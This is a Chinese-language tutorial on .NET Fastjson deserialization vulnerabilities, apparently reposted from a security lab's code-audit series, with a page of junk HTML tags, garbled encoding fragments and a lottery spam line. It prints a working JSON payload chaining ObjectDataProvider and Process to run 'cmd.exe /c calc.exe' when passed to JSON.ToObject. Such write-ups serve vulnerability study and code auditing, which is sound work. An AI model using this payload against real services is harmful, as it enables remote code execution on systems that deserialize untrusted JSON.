<span id="ubbei"><video id="ubbei"></video></span>
<span id="ubbei"></span>
<span id="ubbei"><video id="ubbei"></video></span>
<strike id="ubbei"><video id="ubbei"></video></strike><th id="ubbei"></th>
<span id="ubbei"><video id="ubbei"></video></span><span id="ubbei"></span><span id="ubbei"><video id="ubbei"></video></span>
<th id="ubbei"><video id="ubbei"><span id="ubbei"></span></video></th>
<span id="ubbei"></span>
<th id="ubbei"><video id="ubbei"><span id="ubbei"></span></video></th><strike id="ubbei"><dl id="ubbei"><ruby id="ubbei"></ruby></dl></strike>
<span id="ubbei"></span>
<th id="ubbei"></th>
<span id="ubbei"></span>
<th id="ubbei"></th>
<span id="ubbei"></span>
<span id="ubbei"></span>
<span id="ubbei"></span>
<span id="ubbei"><video id="ubbei"><strike id="ubbei"></strike></video></span>
<strike id="ubbei"><video id="ubbei"></video></strike>

  • <output id="ubbei"></output>
          1. <li id="ubbei"><s id="ubbei"><strong id="ubbei"></strong></s></li>
          2. .NET高级代码审计(第三课)Fastjson反序列化漏洞

            作者:[email protected]云影实验室

            0X00 前言

            Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个?#21015;碕son效率最高的的.Net 组件,使用内置方法JSON.ToJSON可以快速序列化.Net对象。让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换,fastjson是一个开源的Json.Net库,下载地址 http://www.codeproject.com/Articles/159450/fastJSON ,反序列过程中详细的性能对比如下

            从图上得出和老牌Json.Net、Stack等比起来速度和性能优势非常明显,?#31185;?#21407;因组件的作者利用反射生成了大量的IL代码,而IL代码是托管代码,可以直接给运行库编译所以性能就此大大提升。但在某些场景下开发者使用JSON.ToObject方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

            0X01 Fastjson序列化

            使用JSON.ToJSON可以非常方便的实现.NET对象与Json数据之间的转化,ToJSON首先会得到对象名称所在的程序集全限定名,并且作为$types这个key的值,再将对象的成?#31508;?#24615;名转化为Json数据中的Key,把对象的成?#31508;?#24615;值转化为Json数据中的value,下面通过一个实例来?#24471;?#38382;题,首先定义TestClass对象

            定义了三个成员,并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例?#30452;?#32473;成员赋值

            笔者为了尽量保证序列化过程不抛出异常,所以引入了 JSON.ToJSON方法的第二个参数并实例化创建JSONParameters,它的字段中有很多类型是?#32423;?#20540;,

            和反序列化漏洞相关的字段为UseExtensions ,将它设置为true可得到类的全限定名,如果不需要序列化空值的时可将另一个字段SerializeNullValues设为false; 笔者使用JSON.ToJSON后得到序列化的Json数据

            {"$types":{"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Classname":"360","Name":"Ivan1ee","Age":18}

            0x02 Fastjson反序列化

            2.1、反序列化用法

            反序列过程就是将Json数据转换为对象,Fastjson通过创建一个新对象的方式调用JSON. ToObject方法实现的,ToObject有多个重载方法,当传入两个参数,第一个参数需要被序列化的数据、第二个参数设置序列化配置选项来指定JSONParameters按照指定的属性值处理,重载方法参考下图

            具体代码可参考以下Demo

            2.2、打造Poc

            漏洞的触发点也是在于被序列化的Json中的$types是否可控,为此官方文档里也标注了警告。

            笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下《.NET高级代码审计(第一课) XmlSerializer反序列化漏洞》,因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先得考虑序列化ProcessStartInfo,如下代码Demo

            一步步来看,开始从GetType获取当前类的实例,返回Type类型变量t3;然后通过Type.GetProperty方法?#19994;?#25351;定为FileName的公共属性并赋值给PropertyInfo类型的变量propertyName;再使用PropertyInfo.SetValue方法设置对象的指定属性值“cmd.exe“,同理为Arguments属性指定值。下一步再来序列化Process类,并调用StartInfo启动程序,Demo如下

            然后需要?#20113;?#20570;减法,去掉无关的System.RuntimeType、System.IntPtr数据,最终得到反序列化Payload

            {""$types"":{""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"":""1"",""System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""3"",""System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""5""},""$type"":""1"",""ObjectInstance"":{""$type"":""3"",""StartInfo"":{""$type"":""5"",""Verb"":"""",""Arguments"":""/c calc.exe"",""CreateNoWindow"":false,""RedirectStandardInput"":false,""RedirectStandardOutput"":false,""RedirectStandardError"":false,""UseShellExecute"":true,""UserName"":"""",""Domain"":"""",""LoadUserProfile"":false,""FileName"":""cmd.exe"",""WorkingDirectory"":"""",""ErrorDialog"":false,""WindowStyle"":""Normal""},""EnableRaisingEvents"":false},""MethodName"":""Start"",""IsAsynchronous"":false,""IsInitialLoadEnabled"":true}

            FastJson定义的JSON类定义了多个ToObject重载方法,对于反序列化漏洞无需关心重载的方法参数是一个还是多个,它们都可以触发漏洞

            笔者通过下面的Demo , JSON.ToObject(payload)反序列化成功弹出计算器。

            0x03 代码审计视角

            从代码审计的角度很容易?#19994;?#28431;洞的污染点,通过前面几个小节的知识能发?#20013;?#35201;满足一个关键条件JSON.ToObject传入String或者Object就可以被反序列化,例如以下JSONSerializer类

            攻击者控制传入?#22336;?#20018;参数json便可轻松实现反序列化漏洞攻击。Github上也存在大量的不安全案例代码,如下

            0x04 案例复盘

            最后再通过下面案例来复盘整个过程,全程展示在VS里调试里通过反序列化漏洞弹出计算器。

            1. 输入 http://localhost:5651/Default Post加载value值

            1. 通过ToObject 反序列化 ,并弹出计算器

            最后附个动态图

            0x05 总结

            Fastjson凭借速度和性能上的优势占得一席之地,但随着newtonsoft.Json的主流化,性能上已经逐渐赶超了Fastjson,也使得Fastjson越来越小众化,对于攻击者来说,利用成本很低,在代码审计配合的情况下这种安全问题越发的?#29616;?#36215;来,若提交恶意的污染数据,便可水?#35282;?#25104;的反序列化成功拿下目标,最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙?#20013;?#20851;注,交流,更多的.NET安全?#22270;?#24039;可关注实验室公众号。

            我来评几句
            登录后评论

            已发表评论数()

            相关站点

            +订阅
            ?#35753;?#25991;章
            陕西高频十一选五